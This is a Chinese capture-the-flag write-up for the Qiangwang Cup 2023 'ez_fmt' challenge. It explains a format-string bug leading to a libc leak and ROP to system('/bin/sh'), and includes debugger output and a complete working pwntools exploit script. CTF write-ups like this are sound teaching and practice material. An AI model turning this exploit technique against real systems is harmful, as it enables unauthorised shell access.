[强网杯2023] 强网先锋 ez_fmt 详解

题目详解

查看保护机制，地址随机化未开启

1.     Arch:     amd64-64-little
2.     RELRO:    Full RELRO
3.     Stack:    Canary found
4.     NX:       NX enabled
5.     PIE:      No PIE (0x400000)

复制代码

查看main函数，题目给出了一个栈地址，同时还有个很明显的字符串格式化漏洞，但是只能利用一次

1. int __cdecl main(int argc, const char **argv, const char **envp)
2. {
3.   char buf[88]; // [rsp+0h] [rbp-60h] BYREF
4.   unsigned __int64 v5; // [rsp+58h] [rbp-8h]
6.   v5 = __readfsqword(0x28u);
7.   setvbuf(stdout, 0LL, 2, 0LL);
8.   setvbuf(stdin, 0LL, 2, 0LL);
9.   printf("There is a gift for you %p\n", buf);
10.   read(0, buf, 0x30uLL);
11.   if ( w == 0xFFFF )
12.   {
13.     printf(buf);
14.     w = 0;
15.   }
16.   return 0;
17. }

复制代码

利用思路是

• 首先要能劫持控制流，那么修改栈上的返回地址是个不错的选择
  
• 其次要泄露libc基址，利用栈上残留的libc地址也是个不错的方法，这里锁定__libc_start_main函数，经过gdb调试发现buf在栈上的偏移为%6$p，那么用stack查看栈数据就能找出__libc_start_main函数地址的偏移，很明显是偏移量是19
  1. pwndbg> stack 16
  2. 00:0000│ rdi rsi rsp 0x7fff2e1ed0f0 ◂— 0x3031256336303225 ('%206c%10')
  3. 01:0008│             0x7fff2e1ed0f8 ◂— 0x243931256e686824 ('$hhn%19$')
  4. 02:0010│             0x7fff2e1ed100 ◂— 0x6161616661616170 ('paaafaaa')
  5. 03:0018│             0x7fff2e1ed108 —▸ 0x401205 (main+111) ◂— lea    rax, [rbp - 0x60]
  6. 04:0020│             0x7fff2e1ed110 —▸ 0x7fff2e1ed0e8 —▸ 0x401220 (main+138) ◂— mov    eax, dword ptr [rip + 0x2dea]
  7. 05:0028│             0x7fff2e1ed118 ◂— 0x6161616161616161 ('aaaaaaaa')
  8. 06:0030│             0x7fff2e1ed120 —▸ 0x7f10a64392e8 (__exit_funcs_lock) ◂—
  9. 0x0
  10. 07:0038│             0x7fff2e1ed128 —▸ 0x401270 (__libc_csu_init) ◂— endbr64
  11. 08:0040│             0x7fff2e1ed130 ◂— 0x0
  12. 09:0048│             0x7fff2e1ed138 —▸ 0x4010b0 (_start) ◂— endbr64
  13. 0a:0050│             0x7fff2e1ed140 —▸ 0x7fff2e1ed240 ◂— 0x1
  14. 0b:0058│             0x7fff2e1ed148 ◂— 0xc1facd3e33c58500
  15. 0c:0060│ rbp         0x7fff2e1ed150 ◂— 0x0
  16. 0d:0068│             0x7fff2e1ed158 —▸ 0x7f10a626c083 (__libc_start_main+243) ◂— mov    edi, eax
  17. 0e:0070│             0x7fff2e1ed160 ◂— 0x50 /* 'P' */
  18. 0f:0078│             0x7fff2e1ed168 —▸ 0x7fff2e1ed248 —▸ 0x7fff2e1edd49 ◂— './ez_fmt'

  复制代码

那么攻击思路就是

• 1.格式化字符串修改printf函数的返回地址为_libc_csu_init函数中的gadget，这样是为了控制rsp，避免ret的时候和前面构造的恶意格式化字符串产生冲突。
  gadget:
  1. .text:00000000004012CE 41 5D                         pop     r13
  2. .text:00000000004012D0 41 5E                         pop     r14
  3. .text:00000000004012D2 41 5F                         pop     r15
  4. .text:00000000004012D4 C3                            retn

  复制代码
  这里printf函数的返回地址指的是下面代码中执行printf函数后在栈上产生的返回地址
  1. if ( w == 0xFFFF )
  2.   {
  3.     printf(buf);
  4.     w = 0;
  5.   }

  复制代码
• 2.泄露libc地址
  
• 3.劫持控制流执行system("/bin/sh") 代码
  

第一步和第二步可以在一次格式化漏洞中完成，printf(buf)的返回地址就是泄露的栈地址 - 8， 又因为执行printf(buf)的地址为0x40122D，和要跳转到的gadget地址0x4012CE仅有不到一个字节的偏移，所以只需要覆盖低字节。（因为给的buf仅有0x30的大小，所以要尽量缩减格式化字符串的长度）
程序在执行完printf函数后会返回到gadget的位置，然后经过三次出栈操作，rsp指向buf + 0x18，然后执行ret。
显然buf + 0x18的值是我们可控的，修改它到执行read函数的地址
这样程序流程就变成了 printf(buf) -> gadget -> read(0, buf,0x30)
因为read的返回地址存在buf里，也是可控的，所以ROP执行system函数即可
exp脚本

1. from pwn import *
2. context(arch = "amd64",os = "linux",log_level = "debug",terminal = ['tmux','splitw','-h'])
3. io = process("./ez_fmt")
4. libc = ELF("./libc.so.6")
5. rdi_ret = 0x04012d3
7. io.recvuntil(b"for you")
8. stack = int(io.recvline()[0:-1], 16)
9. success(hex(stack))
10. payload = flat(
11.     {
12.         0:"%{}c%10$hhn%19$p".format(0xce),
13.         0x18: p64(0x401205) + p64(stack - 8)
14.     }
15. )
16. payload = payload.ljust(0x30, b'a')
17. # gdb.attach(io, "b *0x401239\nb *0x401205")
18. io.send(payload)
19. # offset = 6
20. io.recvuntil(b"0x")
21. libc_base = int(io.recv(12), 16) - libc.symbols["__libc_start_main"] - 243
22. payload = flat(
23.     {
24.         0x18 : p64(rdi_ret) + p64(libc_base + libc.search(b"/bin/sh").__next__()),
25.         0x28 : p64(libc_base + 0x051CD2)
26.     }
27. )
28. io.send(payload)
30. io.interactive()

复制代码

为什么exp里是p64(libc_base + 0x051CD2)而不是 p64(libc_base + libc.symbols["system"])?

• 后面那种方式因为堆栈对齐的问题，在跑到这行代码时会出错
  1. 0x7fbc67b59e3c <do_system+364>    movaps xmmword ptr [rsp + 0x50], xmm0

  复制代码
• 因为给的buf空间太小了，无法再加上一个ret指令来平衡堆栈。所以我用IDA查看了libc-2.31.so的源码
  1. __int64 __fastcall system(__int64 a1)
  2. {
  3.   if ( a1 )
  4.     return sub_51CD0(a1);
  5.   else
  6.     return (unsigned int)sub_51CD0("exit 0") == 0;
  7. }

  复制代码
  1. .text:0000000000051CD0 41 55                         push    r13
  2. .text:0000000000051CD2 B9 10 00 00 00                mov     ecx, 10h
  3. .text:0000000000051CD7 41 54                         push    r12
  4. .text:0000000000051CD9 55                            push    rbp
  5. .text:0000000000051CDA 53                            push    rbx
  6. .text:0000000000051CDB 48 89 FB                      mov     rbx, rdi
  7. .text:0000000000051CDE 48 81 EC 78 03 00 00          sub     rsp, 378h
  8. .text:0000000000051CE5 64 48 8B 04 25 28 00 00 00    mov     rax, fs:28h

  复制代码
  如果直接调用sub_51CD0和system的效果一致。所以执行sub_51CD0 + 2来跳过开头的push r13指令，这样堆栈就平衡了
  

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！